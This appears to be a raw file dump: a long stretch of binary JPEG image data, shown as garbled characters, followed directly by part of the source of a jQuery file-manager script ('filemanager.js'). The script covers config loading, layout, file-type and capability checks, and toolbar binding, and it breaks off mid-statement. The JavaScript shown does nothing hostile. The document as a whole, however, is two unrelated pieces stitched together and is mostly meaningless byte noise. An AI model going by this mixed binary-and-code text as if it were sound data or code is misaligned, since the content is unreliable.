JFIFICC_PROFILElcms0mntrRGB XYZ  acspAPPL-lcms desc8cprt@Nwtptchad,rXYZbXYZgXYZrTRC gTRC, bTRCL chrml$mluc enUSsRGB built-inmluc enUS2No copyright, use freelyXYZ -sf32 J*XYZ o8XYZ $XYZ bparaff Y [paraff Y [paraff Y [chrmT{L&f\C  !"$"$C,," c@{-usnV꜇>]8-[,7M);zi$"̟]c.!TXaqѝ0A!R$d@'XvB[Ś7+e$0oz]EzU4W0 [T07@´hU4ȩN^U9Lh=N%؉Dz4f 30׃kffa0^ <@=-Aw53y Pf')% X530gJ l33 R>.Xi{.N(}Qܳa}H/ȭgFr0w޶fg#! 304\3&fLumH`fh^)AhwI:fD:@dQHvro355WlՈ:0rAAeHvmSsfk ҹs6Ōlв+ֹirBDZ /٥,!a8]ϋ# c4zja3 ;4WPF& A; HvAf`}jb AYG>'-;HeʪTl7 Yd |.QhepU Q"UhW*YLM3ƣ+j3Ml^t{[< . ԘUIADXkh1 쩅}|z|"`{#IȘO?KbSe q?8ţV99p,.ZåVmgg DNcFP{ 5өFIpjuukYQV]ܻ,"vS}oĝ =7<; DxOUp^y=lH2sKԫ!$Lӡ=4֤%@t-a~kAUb'Eҵ{+4-_ y]0ВƪݍN ŁZYt]v\AhS( tdea@wG E$gï}s``=5 ;zX1! "#$1%025&4A6F=7?)l$:J2"-CAXbʩ[l0aSݵDzlt{Eӓ&ҍW c$%s^mfURul(?* >.]Tc;v5Rf$LH@-vӾ${X6D/mfI496"uh 'YD6VvhrH\Y.‚c8 ogCRƧ*Jo8 S"ap`))JkYͦi (X[rNjHHqE/^\sV9sk(heI4 2o\*whu^ZMK%e9X3uv [嬸p`HD,!5&,-D O3W){yRavIAx9)d"4m]xT&hWsbb"'8ZJ >F1+m& ;BWKl{I_6j4ui.k50TJ7/Xh-<9#ZcO&M{$3fćOuv֡٘bU\"MU@l12(19+w#r&r$""eĵ4?$7!ufz'E aTy<9sW;g8KDF{D !Yp ~?NOZgF!q8~ǗGd'6?B/r&X%1 ddP͇ '[>h`sCkNe9ɝ oV mHENz41PX? L)OJ,8ips^z*xǟ'9Fnl4wFNrQ:]J?JiB$4fوGL!M`lq$~<,Da x<%kُNPIzJ\ vh4UAg)IV uwNǬ d,ghh٣9B<hl[Zg]ؤIO _#bIVΟ58eqSuX\FXWlX:[w/gs孜QD"{yWxE8Gb,}2G#"wij}F7sKbk'^Ko$lF2D>Da㴡5⯦v#\7ɰV/PV!6iЉ!_|h|R#XXdQ+ Q%%h1?-VOUe9T YK,ژ>޷>Y7g#\Ue% MTPp ÊF:|PlR{b|;06+Zg??5%O};[Jϧk+|sT!rSʙfS _CA0ֻ:9+6SҊ`DL:!M7 9$CMk㢱;D+L-{"(-z^ᩗ>c+յsG|?4++ `OYa6GqW;,F hs(̴bSaGKt"00.Z(2exҶFAGd`6O`G8BDoix+і-ՄukU& \}1689JXLZj0JE^FFߋy;zzPeG'c W>Qgkbd鵶A.MZnM:0׮vW*}XGg^"?b ?:;BbfzꨂO /zvmC!TV9zu\#I`&+ջ ^ӆ>$]}a'kAFUjplӵG|EÃBlY68#lP1<)3̞?X.&C(yL5&#ZpP _1Zöp 7P;"NzƽδV*7 TwNꑊh?RƊi%9:ee$>j͖}ysٺʷu-pouHz:Nƶ.1rW̏'ᕀ 0x $^jyF7 Z/|-xÝO6>oT"GXвI!(!_=OEqU\?uEpAJ'ѹ]?㏕yr$Gcl^Da%>=ezy \KR$lFȔzs-~f*%M,e}ogo쓸zJq#)Ez_Gy)˧|NahNw}YdsYqZS2w XEIen]3R+ !L0+>2=)6m@VgMTEj2)fvU bPh1]d6mr/Oj̈́xdX^E )PB.<MWKݧdD4q::*]^.3`]>D٭f#DZ/uvX *_\Ȫ[˙J&:2v*I+"J}n%?ek⥷|.#jFI |\^ª[Io6ǺH,H ^4K`JPNU+IMpvk|tcvN Ym2pB tDD(Y""]1Vzd`B#m%}*o;u'=\s5p X,ea$0YAOJu?B:El1AYIC>Z&i iF*8h;6MNg_?4?4M!1"AQa2Rq#3B CSbr$0c4DTs%@d?+Ctiҳj]ԭ$OizcC2Zvo Je|#%\ī;Sm.?TPXNnwfdyQ=O*SED'ѧQ3"M! GPC>l< kOhMG+[O9CSR &E%B4}{(\UfOY {dR jeѷI%gwjPw*k4ڧ);D*bNdPbb{*<ۉ -c m"HRo]mϔԜjuQJQ0Y2NN^U(#I|0&2sJ$-I72r±i̘c̯:dGKg@Þ(QAX?\*Vp?(ztP[R/:7$ֶӳ3&X.Ra yU'olZKoE04%HIOMD62į=+P{{OiIH-C0sؾٹ_< }0ˬYU_HfVխ9uR-dyfCra9NmeUNf2,6#b~| 6@,di}-1X9QN\JRu,n"i g6-dQqr)x,J8-˶ҿ,L3S Aw$>ZWݪlїab_+;裄_-K-oTU0|սh,9X sY;Ӿ- ^Pmlk6aF9KH`6´gfb%X r\ ٲ ^5E3O=~ 79MEe*ɤt ae]q9{R ɲ78/?vaF⳿SK1IH&_V7"]nRm24\Ѫ[qT۾)rcȭ4Z]+3*yVhTEzs=;E RP K* a Mr~%nM榈0͆ӵG/LSo:/ܨA!8)Hk1s߹g*T)"ePЦ5B ²FTGH4"O䐢Yo]'4K*#Ie2?<6HJ('_}<)J.5!cR3 JCj8LJ4TllagZCM}:Df5͖f78͒&5ۇLP 66ȖYcH jz"}R+iyߚˉV-oY]sqv͕`sH~ЛE<(@qSIdϪW0Tʪ5 >|m:5|iЀwFRsjߙJjVOTdVӥ.tm8 R)H0RA]̓TŖ6E0NJ=%hl $$l~VY0YmVҵbi߅Xy2W\1/J_S'hBB6azUXcGY)Ϻp+ss(& }Bc& ٴBL2S1$NIn(%#vFaHQ2v]EfWiv^xDG5 sݣq:ӌKLlWAbq'v_ /$g9_e]R>&y;u 4#_(]- 7t<LUMi7Z+4)Qr܎hq<"X˒U6 xꭕC*uetW Zo]C]xSN3,<*1:{g=pۛ2UV-'ҥOAB%qjBt(5JL۶<ݞq0d}=7u/%J tstO:0۩__=434JG|1+5H\W%"ܳ~9Q:76Jص"p'Y˩!:DiB#t!I>Ҋ,HǮ~]M-wTFNi!. Xޅe5qyߚaz*>Rhb\WUЩQnJd#@jVݥ J=Deu孥n9sJbL9W҅W煱kI֖="蝙BnF>-/Z):=Hu.")u_Ee)Z4@TZqDV uY.K)*=.PLRO4aAFFn1nHnfZuf6uaK,RЫmFS?m= 64xSng*եyM<6q}#12ԫ\\ޞۨB-)KR0Όd {aԺҰ Yh6SabZU)LJА 4ĞH*vec͌&GLT L16/lw[IՆлSO&UO%bn@m(?{"|-RMUgYJ#]Sk.]}anP Kѩ7tW ,XL"שmJBR{c"=Go46zi@zdP߭#1dfz8Uil~ ;e40wX#=A^gfghtY=Uui_~jc/aĻ+ubUjS! ANҥ]ЩYBKY^[R] LhRv͒V="P~XEH>T.="ܤ[?KGU-SX$sw@ChS,ݶ4JM(ťJkP)PthrVSKMq:+qw;FUpQrVGLdRNmD;8^&oCT9ߙ)(f{a#psV4 ])XiMՉlծbϔ-%To"yKCFM*aMjPģ ŋI40Ċ.q?:u&i)a tBzmѿV򀴛iZJ\X[Vu:D:6l CM.J㌅fzs(m6[iSdHHma`SLϭ]KJ)U/!D& iũ,ڭg>oHjs&qU}k{r\MD-@aS:'ܻwKJq75q24} hp6HHA%K}#n\֌l̴Rg֭UwP+Zh JnK T.=ԎP&%\H>ZŶޞ 5k0-"=yO/EGd\'PbbQ4q%7*&2j8ְTLiP9y+ѥJe`RI)VU7v;?X[FX=51#T:ҁjFE- uoQnZHy}~wĦMIxZ(Ms*6퇲cjb,~k$P6; Xre#JcC/(jn(iBlQHHCCWBwZBGXrjZ];A*=FM*Qw2SJUl<-PP!k,`aQMQ~ӷCH̴?D iMBrC3\4 $ lጞSlum:H lMvjT!~XbjsoogS(jO I"Plrhv,LSuF0C8lN;׺6\VΘW,6uG)QmDHbۂ؏(Z#dY3 iqmeBk*n1ja"yTo'zFw-8#$<=wdJ'um:g޺-6WnjL%?D$BNF2ɉPqP|9(ĴʧJNޣ O:~cl-Ι ? &C"5%VÉ%; tJeLi]ImSJҨDYz(|0xҢ`}whf*%OzhBt,m<8ERa+w]Fia.Oq脢 ,&^T/9JZy~QFi)n4Ǽv¥$J6}s8or(0J7B[lQ pCH8 ג̩?ԯL%cî2N4薐nrN $uA3#fQXj"R#)e#IDS)!|gO6Z^̣F]:DM}UikE5`(`t ^ApC|bGOOQRgU9g;n6RYa9zd{doL6CTۼUӉR-)P$\=3W!/iu\4C 忿QxF#I5FN B %WiUz̶O)[.mLo>ԧq=0!^nd0N>ptlѤbkH\sl0Ay{&2M6PܱUխiuV,So1.-'yMjޭUt p&;< $ nj})0/8=ZHm8r~F¼֯z`W CV&[*/%'ڹj!c' }!}\ AO]bC&JtySah,ck;'ӳ%UfJ{8("'muRxakؙ4Pq>g!NSYXiŒhIRTUy2y(e'%&_zdb 4ڹ4vS ӽG6 X&LS@&')>~}'<޼@NrL*;o`,)Y9/%5 h(?L}ToCFP,:b?eqs8F*>UIpE Q~XTlWfO9JEū%gHmG»|IQi,*ڒkx8I{z_KHҊV;z,U`*~Q +:GN+ciuшM;; I,#ï"Us3k@L̖Y  &)TatJCb86k6@$6|'ڭ?Jy.{jM*ڇ>QJm+,m4B@_0&Jw)'~ctuBPC:Nb9HYu@ꉉGP5ix[w 3#{+䧝Ҹ!g~/$vCJ]CTP4u$”p_.e/;׼VيxJEMxOXũR0֕U&b)5Ug<4YQĘDU:Ca8t܅yFδĆ[!mԧjkQ >dI ko2_YT6F)~(tvPu%tf6a=)_ 120q=#f/rQYZwwÒu1HKL“k~0ZHJ.鶀v8S_N]D:{n$İW)I^|bm{WJ'u3+U Ov.{U U2v'[,7a"RId Uԏ#%݅zgG0& m[ D vBI/a#il6P)jy.]{#輏7-.a~!~l5^yxaBq6)"EG/FUT,KJ,S^ʂ;}Gsz~MEl0o"U7ƍ|.ș= '0mxZ uEjDF+M dpde#399\ۡ'c'%O2$-z%΁85SQ12?铣O!+UMD;4YOpB ~Q :زKjXrm+IԙEo31\pmABr+䔤[Q3mGe*82={^NmXYoJF&͞5]$դfSNS[9ePf}{s3ݶWFRtN4DVMژmx@9_7uDpFRH5 ^}iGHz›mm4>0q!VRT+/ތmhV iR*qr=JRTQH}rTA\ }g΢A",k}4U#nsT!%څGTzTe)5Y4 !@X[7*QTٯd3giY=M'4_l4^r\(!1AQaq 0?!N2j4ϩM"v]JɌ`EJЗX;ԡk1nE<1U&.ETwV*Uݯ*"Ϥ('͵d"IwvwXmmM5h#LK=ʔw[{86ˆ44Iԥcj ކ3cD` 5p I2ڊ$?1xa=5sEkr`J" A[.(id%,F{̿ d[Jjn#UL+J6_P#^TV;Uoֹ5{{kCǪx'$fs]^OBQ;, @K0Ek#2L5z5&7W4RxfzJД1JMh03zjLD?SRIZlDZ4)IYQv޶㚷WrtVrPK?*^RWcS:ߵڦm%B:½C@+CT'/TP3Ǫl`ZAldB>ި3Ma81l#ՇBUѹYaҖز҃8qJ tSmwNja>5pɾډD$*>*}'=WM@9*2ꙘZp| \z< s8\ˈAv7MpkB_K\ bG25qٷJDZRV,gi!=ҰsȮMMڍU0 (0&B|^O.-yQ9K&jwbRҡ,ž R6᷶P?-nPz(:eEBR&V4۩K|as[&ViF5Ɇ{hKJXZe?&7(.& C,cN6(;JG7u*N,}F 㖎":~띨;0),ej8yhd[[!$+9g /\xhiAwteA$"sxmD(!TsR_~Q)N.fY_;x1F?2- jVkIٱX8@s4d$iMTҌ^'QzX5fD-ЗY5D`Y.H% aTخOhR\7R'?V'A3gSȇ.1 tN \[H Bl~ |"tz97`Au.#GiRCβ,!?,HDҗ4T1ev5u9t\ AXnƽkESdBE`MkNmDȤ@J.: S6?֡K|f #x4+Z 9 )N(WiQ7 mI+cJ\,pKrZ1G2TZ҄4gHhtjhCC2ԆA_jJ%(7H*I]r'Ix\L!؅gUّ^8['5#E_{* G-E.p]F@ ~r ,Qw&2.WV OPFiMmw;})RoBcuTn*R[z0.[J׊؅Ci9;-<-TE=(h-T/b_@etl>KՀ%Z(&Cy{̻tpN Qg߁#L^1y L]JG vڄT'zBԍy~_kXuc-V*._rWKafQ>\o]c ʬ9kgjR#)-i PEY\,9K##8cjV7#bc֙'HM*M+1OC|0H/⦆ߺ\FBϖ oR i!s0#†*xX>KsKTРGYƴ#ZYq`AGRc< j4샷F|Z ]]jZP%_уgzHMtf<!ܥ4i&$+7d.j0@K:Ȳj;f*wљ5FqEzoLl.SK׵,E kPFcN.qjoVcޚ/W4!ZfՂ1u QoF%%De^ʘj>KT b驸Zv4D3H$ Vms/jR+*7Go%=X*"*N3 b''%<)(b?hz(4xUuroP%m"_4{)Lׅq\CgjǽDq[h(, >hlw'Ƚn)C}6}}1 4lDa9f-IYiX|跺ѓ6_pV,>qS!l.ZbkVBaDlJPՓf]ڦKε<ǼUy7,Rw(1eu8.\Ή7Ph\ YfJk~ g+[Cpj]A1B4?қ'Sҕ<ԣ!Ed| 0@yP |!՝?IMlzv[T%^ ~MOi7ٯ~NtnP<p:uzĐoLDx'{2%Hέa$<\!i4* w#c S7֔!NmW1BEժiu'bQJaҫ7]=5{I,ڝbÄJ>fIFKG.?#)3uDuXe@WHS+L'~5"OiBH @i8*z%:U0/F% ,YX%#d\) -*31Ԗ@/-GT^WX3lSAO}l$en>}Z&@zI, f,JJ[69Bvq-R{A0(@YrR,D<-Y?U(.;S0zՍtޜxI/A?sPFݕ|P`*/)אvpʝ+%\ZBuK~ 촙NI= 42:٤K\|iWA8M(ZVa;ڥZpQX֡*#-?Ż)_Z_h'Ht5˵?ORhɼir{,L(xԸ' ۤ^hz1QLXգQN qiu?+nV*"$s[er`TBYu[- ^ umFH_cC-k`kFF82Ƌ /Jb߀L0(GNU,7'ϙ?8Da{񜏮zuҥ'Xx/Nej)Mk5ub~jVЀ~ z8}5Si=( ܷa)Q6mf+5iEpgQJW+>rvh:O3-&Ei塻Kw,5`ަgT/bΕnG2Ԧ\ Zų@&>[[%9|y,,E*9tTY{Ԫ&F'5 <9+(j|&:EU9-TK_n`=ǚ=Kt̗L[5FȰ{U@*/çǭH|gN` j'UdG,onЛ`-.e4R5œ>6jmj^+7V' P$C8k0c4ax>V}Ij sUda[GVec'WpLkply>I{(ҹLP^P RؾTHZC?`PZ?:F:^~]j..DK nphY.ӭNoL?9`L!ė<4R 8ˬG }{$˾j=~(Qnޑ]L.$h4yC桭#x=E<k" .r=58 I"&HWNu"tyEhMR-rõzul撼2r丱LI/gݵ]jC?Rn?UC7<=ڏHDDn.ofF{ht&jCI._}ʟE7||4 Y*Wj^Z.-{M[YZȩ>T'}4&3q!c>ln܏EC];iQĚ蛉s 1oZ+F[ļ-Idvp Rf?];mu`-u,Gqr\8!{*UlL%L[5˧~$D!cvwֹlPڍ{~.oUY gt% 4yEՀH3uՠLS$nK>>-lEi467'dSK !BI@O55̕gB$O"ȸ>S&&abRგY.qs0zd+٤{iP)E%O>T0 ޑ%}(Vd655N:7iL2=.2+_O+ #iMa^βd7ǚ? u)I@bz?>dY>JJ;Igq٦%|L0]-އCPoG'1ʔhyQ B"4,?TXAs0_3'&>XqgmJ#wCج/ޑ"? %9{H ~^d1FF?&{,[Zqn5a.dCڎ I2nR-Zl\tdqtYjY1S#O҃W+ږqJtn;o5cX,HL/]D8}4An 9L6ඛsSfQcq6E") C_j"I9zZOsШG%oO^?T)=ıgPGG஢HakPru5D-A pOW@.}Q*lZ% VqW6lQVTe@q;{:̚S]fiMRXhkLf;/0M:'ևJ qDA81BK b4< Q` 2("(s (AJ 0@ `8$"F $° j0n9pJ-;6$ OX875>]n܏&!hB}1_bZӣinx<AK{|Fos;xo Tz0 ֥>pNosfk*Ϝ՞0z2yɺTkzH58\OW_iǜT 0> |}]# [ ):l輂5J8h8AʃP(c +tޱg+3~vf^ M# @ysV*:CH7G.X6 8u?bֿN"P/+,{/-A꽻>r4 =8>y;9Hb=9vީr =#Ñ!{tGb_2PX+bi1TRA'X%6q? '=>lDz(k-4V25u__yN1ڀ=).t^Ś~0-)}2we}ct/*z D=ppC/Os4H6]+P| ~>I@@h ;$6kC 8 rA~mAg C*BbqmWp=qt;xK'%sms=n-c9IX!9hv 7wwZp- /,5636{)8]zc4'']d|hW.[b%\걯sŎ0kBvswnаty޷ {9yP=>h 8Ҙl`[QaHy$ S`wR JS(Jz7 k6GS*[e#FBmBpPCuyd5)s5s^| wdqwcR&  Y:ܧ/Oo#!yP~q3Ա-NN+`/{݂iJ `F4GA8TU-/|24k@L StW`o"O X/LfI?Ò%䂦ǏK]8BAnQ%QgB(blG&CZ(E,!|">" +g{>xA5yc;KͫvHc -Ԁ[*:|p(+,>cewFg Lki9^kb :4x. @uwixwtɆJKv~> D@a᭡bFt9gJEP'EҮJq?9AdͦE71hfуc01}gf۔!!9+8>?xfvm||A5.2b ?m̮ ">ʒi!AS[(fm\an?Y|N@9\q|v_ djAa]UXpa8֢vWo'0nCQl#N`A# WJ[4jkX^HN7:F[8)٣姆*TJD5.I%w^Rߒ![7gj8٤Qp,l`Hk߇9Іp\eCM8Py jdNR|H0ybJ_(ꛋo9WvwP'csi(`t|(}_TFm%Hhr* i6zzو@T?CF'd#rΘ^?_ A{.r( w NA`4@XܫII?yf&i⡧~V"pfm=8~0Xp`X=fB3׃ ^ii꺺 5%c!F :lУhJ/_}:vGUo#h7% ބͧȏNj0 :u.#t qHSEB)vmu1,<bt鼆s ˺y9*3~oґ><Ɨ[ew.le//͑.(VAr("O쨼+`bJMsawGy >22P7S7dih7S66R>6 FIrWbZ!^nRtW־OoD"j;:s@:Z\Mg`DX L"hQirDՀ대9M:HA!sqn iL ӇTu?q f"{d>h|`l/x gKA QU&D&V!7`F+r%} Ҳل>QMKԯI{sd%S\z;/M4 O-܊Gh d% /&FuG o.UlQH'q! a^z(iTַrDٕOœy4 ں^w_L |"E٦p`rp40h@#MH%vyA8JLtO=3'Q2Z$صX %py+zQQ1qo5"UqPJFC`}}C-x}^WaJ@[A-\1N Ì$D?7j<~0iݾ"X(;j6s.pj7)<h(Ǖ5MN֍l3NWOW]VA 9tX ;FE8˞v;HMHÒS&+pdKOhxI܈5xjvvldীo,krgzJ7< Xw@PQP;"G˕H&X4HX|B8]PUvh8j!FbEpʺwO" n7 Ū#mC"Z% ?L|S9O mAX/SX]aY}g,@}7AaLJx%uZnjơ5IR`d yzv z4|wSfOb=&. sDDC„>+{Bh,߉2<9D.q+.R& >szUX)otWh . kL+*Z,m@d{vgoؿF#P&}.KD즺QAج5 Tbw %֖iG&A9\<9'G [1zҢ9>W|eFY~H7"e-Ծ;ʦ7K9^~`#M1Y&go}R(Ċgui+S^sh#Ylyϋ*{upaۛ(4ui" 9iCQ;LKyuT %D&̎dkۮ#C=9 0onBuH/5 ?'i3gt%"HOIX "C/)kL*'.+y;JK7, ;_BbL|8KWqNppFߜ >#,x aҍfؠئ[-׳aX{Rэt;h$3WV.I'mg!9=fˆA="ꓝ,ѯ;e] j($T VNfĦ  ~2qӉ;2^#/b7y2>b٧5ÙO@a"՗t8].ҳ.^x Ntuԙưn'5)ɅԱhàGeQ 7dFoW #{JCXzɲ{ESfҗ Zfۦv:^B"߰7|4%.@U-Sޥ-D%6By#nes2xi(xFc #Y+PaւNJzA2]=k'n 8CjyceHNCg$Gse/`R$fQcKqʂ\ #sL0ͯ pց"P>VG?to GS[4COƴYw,o[@,ZM­N0yᆐ&e.  w7VSVIohbՁ%Õ)K ? o b6 ,C "@X$0IhDS 3^ jz1QZryegnM0e㤠PF+R;`P&VBo9ѲN؇TRQuntC\kgP>T64),.|߮w'S8V-ۚג& 2F,OO9D{-ѯ5|֚q<0vs8/S4=7_:s=TS ؜ZWhtry'+ X^$+"2%bmx$5O\" Ű. !a6tMS/3S`t #X_A]hS`!٢ts+Vdm:"pD` q,nSliM!C`1lqPUp[jV-v#Va7YEgRVvJ_"# @ډsMEp;18)͖=7 [ӉsRNS>+YʋQSeƀֈ6C#NTvJTN>{O`=Dp(osf[毗ONgkOHR$SdfU/3bOvo<'iN(T2XSMƹZ5D;Q1Z`]#!dt¡9 Y:EꎋL(VpcHW`0D(Ψk(DV NaiBSOF PA%JC@kGBBQ,8+' 6gGFCuaEHPj\ \LRT͛h`j?/~xzcrƜP6yaR-۾r6ݬX2$(Wo: 8.,X-:U8bz%zy_&r>4:B,>*d+2O%P?,@†fvBx@1}‘O_>&w$ (gZv5 ZCt@׹*x"0|jE컘 N;4_g1bQy>]PjZ,/8n l\C%2Hq&.lb{| g#o)tʩXWnVU5T,A]u]do~l;\q_ \I:px|LTxǰ/e1()S 15a4.qOhډ䜹ˬ Ɯ&+Dlƒ--nNux&( ᨴ({s~ywXfpPO-Efv|i7_sF]H7W%z,(>BpCp7*Uln!>!cux%ߨpas{;hPڎ[&w*S#x؛;>gI._896T# 7_/p<|0l°0{@&7<7#]+٫PQ`~|cE&v |gl4yī%] **0NP[ӎ3})6 mŋ3 0%=c| [<+_:d`GHKSlq|@=\ }ȠB9 ㎲ Sw>ȃ/:Lu(8r}R14>Q}p)OY9} c~Ia_*T el/?g"r i1OBGīUvq;=yFW ܑ5I6)ӎ#W{5>Ĥ~?I'b50{=@6C]ck8}e#BnaE. 1Sѓ;|rK"d!*P a{7 ^`[ӭ<8 h eBh% mUN6&I %^4 u7ZpQ:hf 0R)P1' 2 Up,$~Kyh.QZJpBE(FΏTH8k}!O}kƪ!&w+PO#]8|dXnG3LJϬJ4d-Es;̅jnJks Kg(q"^E&945iBTS Ů{eb !B_H*A 87+zv+Q;Je82@kD`!HOq%HhKظRsEAӼ%`XluN*d7*]JQ!vc@Ͱm_z1b) W>25l&O^sCpQShԤHǘpcpdzG`l[{hLڗB,‚[1.}LfbFr/i[_9O1OI~Xhゴ7@MPH(;`_ e"<Ѧ#U[EH{@@'gY] xpɁ>ewr4H=b|F_Nsqdkq<;"-fQ >(J蘹X9Qo/spClr5:'ό l;OM%U\p\ O ] 'mo_|On *t#<8P9AOg.*J\. q_:KMp[˻@ 2 O!{F˺{~wjxS fr `.> D w_C_CM94FBW~FV\Sk1 ߕZ(Puc{rRϛvNiM7@bL=Lˤ`;=/ sG.FlVJP+c. 3LDvCq'uָ y:!}$ 9錮4#tT|oQ-l'/^é ĮZBvN3~~OX) ؈5d #aj{'s֌|\{䟄?9r^A?pohBNO!|L/** * Filemanager JS core * * filemanager.js * * @license MIT License * @author Jason Huck - Core Five Labs * @author Simon Georget * @copyright Authors */ (function($) { // function to retrieve GET params $.urlParam = function(name){ var results = new RegExp('[\\?&]' + name + '=([^&#]*)').exec(window.location.href); if (results) return results[1]; else return 0; }; /*--------------------------------------------------------- Setup, Layout, and Status Functions ---------------------------------------------------------*/ // We retrieve config settings from filemanager.config.js var config = (function () { var json = null; $.ajax({ 'async': false, 'url': './scripts/filemanager.config.js', 'dataType': "json", cache: false, 'success': function (data) { json = data; } }); return json; })(); // Sets paths to connectors based on language selection. var fileConnector = config.options.fileConnector || 'connectors/' + config.options.lang + '/filemanager.' + config.options.lang; // Read capabilities from config files if exists // else apply default settings var capabilities = config.options.capabilities || new Array('select', 'download', 'rename', 'move', 'delete', 'replace'); // Get localized messages from file // through culture var or from URL if($.urlParam('langCode') != 0 && file_exists ('scripts/languages/' + $.urlParam('langCode') + '.js')) config.options.culture = $.urlParam('langCode'); var lg = []; $.ajax({ url: 'scripts/languages/' + config.options.culture + '.js', async: false, dataType: 'json', success: function (json) { lg = json; } }); // Options for alert, prompt, and confirm dialogues. $.prompt.setDefaults({ overlayspeed: 'fast', show: 'fadeIn', opacity: 0.4, persistent: false }); // Forces columns to fill the layout vertically. // Called on initial page load and on resize. var setDimensions = function(){ var bheight = 20; if(config.options.searchBox === true) bheight +=33; var newH = $(window).height() - $('#uploader').height() - bheight; $('#splitter, #filetree, #fileinfo, .vsplitbar').height(newH); var newW = $('#splitter').width() - 6 - $('#filetree').width(); $('#fileinfo').width(newW); }; // Display Min Path var displayPath = function(path, reduce) { reduce = (typeof reduce === "undefined") ? true : false; if(config.options.showFullPath == false) { // if a "displayPathDecorator" function is defined, use it to decorate path if('function' === typeof displayPathDecorator) { return displayPathDecorator(path.replace(fileRoot, "/")); } else { path = path.replace(fileRoot, "/"); if(path.length > 50 && reduce === true) { var n = path.split("/"); path = '/' + n[1] + '/' + n[2] + '/(...)/' + n[n.length-2] + '/'; } return path; } } else { return path; } }; // Set the view buttons state var setViewButtonsFor = function(viewMode) { if (viewMode == 'grid') { $('#grid').addClass('ON'); $('#list').removeClass('ON'); } else { $('#list').addClass('ON'); $('#grid').removeClass('ON'); } }; // Test if a given url exists function file_exists (url) { // http://kevin.vanzonneveld.net // + original by: Enrique Gonzalez // + input by: Jani Hartikainen // + improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) // % note 1: This function uses XmlHttpRequest and cannot retrieve resource from different domain. // % note 1: Synchronous so may lock up browser, mainly here for study purposes. // * example 1: file_exists('http://kevin.vanzonneveld.net/pj_test_supportfile_1.htm'); // * returns 1: '123' var req = this.window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest(); if (!req) { throw new Error('XMLHttpRequest not supported'); } // HEAD Results are usually shorter (faster) than GET req.open('HEAD', url, false); req.send(null); if (req.status == 200) { return true; } return false; } // preg_replace // Code from : http://xuxu.fr/2006/05/20/preg-replace-javascript/ var preg_replace = function(array_pattern, array_pattern_replace, str) { var new_str = String (str); for (i=0; i' + errMsg+ ''); $('#newfile').attr("disabled", "disabled"); $('#upload').attr("disabled", "disabled"); $('#newfolder').attr("disabled", "disabled"); }; // Test if Data structure has the 'cap' capability // 'cap' is one of 'select', 'rename', 'delete', 'download', move function has_capability(data, cap) { if (data['File Type'] == 'dir' && (cap == 'download' || cap == 'replace')) return false; if (typeof(data['Capabilities']) == "undefined") return true; else return $.inArray(cap, data['Capabilities']) > -1; } // Test if file is authorized var isAuthorizedFile = function(filename) { if(config.security.uploadPolicy == 'DISALLOW_ALL') { if($.inArray(getExtension(filename), config.security.uploadRestrictions) != -1) return true; } if(config.security.uploadPolicy == 'ALLOW_ALL') { if($.inArray(getExtension(filename), config.security.uploadRestrictions) == -1) return true; } return false; }; // from http://phpjs.org/functions/basename:360 var basename = function(path, suffix) { var b = path.replace(/^.*[\/\\]/g, ''); if (typeof(suffix) == 'string' && b.substr(b.length-suffix.length) == suffix) { b = b.substr(0, b.length-suffix.length); } return b; }; // return filename extension var getExtension = function(filename) { if(filename.split('.').length == 1) { return ""; } return filename.split('.').pop().toLowerCase(); }; // return filename without extension { var getFilename = function(filename) { if(filename.lastIndexOf('.') != -1) { return filename.substring(0, filename.lastIndexOf('.')); } else { return filename; } }; // Test if is iamge file var isImageFile = function(filename) { if($.inArray(getExtension(filename), config.images.imagesExt) != -1) { return true; } else { return false; } }; // Test if file is supported web video file var isVideoFile = function(filename) { if($.inArray(getExtension(filename), config.videos.videosExt) != -1) { return true; } else { return false; } }; // Test if file is supported web audio file var isAudioFile = function(filename) { if($.inArray(getExtension(filename), config.audios.audiosExt) != -1) { return true; } else { return false; } }; // Return HTML video player var getVideoPlayer = function(data) { var code = ''; $("#fileinfo img").remove(); $('#fileinfo #preview h1').before(code); }; //Return HTML audio player var getAudioPlayer = function(data) { var code = ''; $("#fileinfo img").remove(); $('#fileinfo #preview h1').before(code); }; // Display icons on list view // retrieving them from filetree // Called using SetInterval var display_icons = function(timer) { $('#fileinfo').find('td:first-child').each(function(){ var path = $(this).attr('data-path'); var treenode = $('#filetree').find('a[data-path="' + path + '"]').parent(); if (typeof treenode.css('background-image') !== "undefined") { $(this).css('background-image', treenode.css('background-image')); window.clearInterval(timer); } }); }; // Sets the folder status, upload, and new folder functions // to the path specified. Called on initial page load and // whenever a new directory is selected. var setUploader = function(path) { $('#currentpath').val(path); $('#uploader h1').text(lg.current_folder + displayPath(path)).attr('title', displayPath(path, false)).attr('data-path', path); $('#newfolder').unbind().click(function(){ var foldername = lg.default_foldername; var msg = lg.prompt_foldername + ' : '; var getFolderName = function(v, m){ if(v != 1) return false; var fname = m.children('#fname').val(); if(fname != ''){ foldername = cleanString(fname); var d = new Date(); // to prevent IE cache issues $.getJSON(fileConnector + '?mode=addfolder&path=' + $('#currentpath').val() + '&name=' + foldername + '&time=' + d.getMilliseconds(), function(result){ if(result['Code'] == 0){ addFolder(result['Parent'], result['Name']); getFolderInfo(result['Parent']); // seems to be necessary when dealing w/ files located on s3 (need to look into a cleaner solution going forward) $('#filetree').find('a[data-path="' + result['Parent'] +'/"]').click().click(); } else { $.prompt(result['Error']); } }); } else { $.prompt(lg.no_foldername); } }; var btns = {}; btns[lg.create_folder] = true; btns[lg.cancel] = false; $.prompt(msg, { callback: getFolderName, buttons: btns }); }); }; // Binds specific actions to the toolbar in detail views. // Called when detail views are loaded. var bindToolbar = function(data) { // this little bit is purely cosmetic $( "#fileinfo button" ).each(function( index ) { // check if span doesn't exist yet, when bindToolbar called from renameItem for example if($(this).find('span').length == 0) $(this).wrapInner(''); }); if (!has_capability(data, 'select')) { $('#fileinfo').find('button#select').hide(); } else { $('#fileinfo').find('button#select').click(function () { selectItem(data); }).show(); if(window.opener || window.tinyMCEPopup) { $('#preview img').attr('title', lg.select); $('#preview img').click(function () { selectItem(data); }).css("cursor", "pointer"); } } if (!has_capability(data, 'rename')) { $('#fileinfo').find('button#rename').hide(); } else { $('#fileinfo').find('button#rename').click(function(){ var newName = renameItem(data); if(newName.length) $('#fileinfo > h1').text(newName); }).show(); } if (!has_capability(data, 'move')) { $('#fileinfo').find('button#move').hide(); } else { $('#fileinfo').find('button#move').click(function(){ var newName = moveItem(data); if(newName.length) $('#fileinfo > h1').text(newName); }).show(); } // @todo if (!has_capability(data, 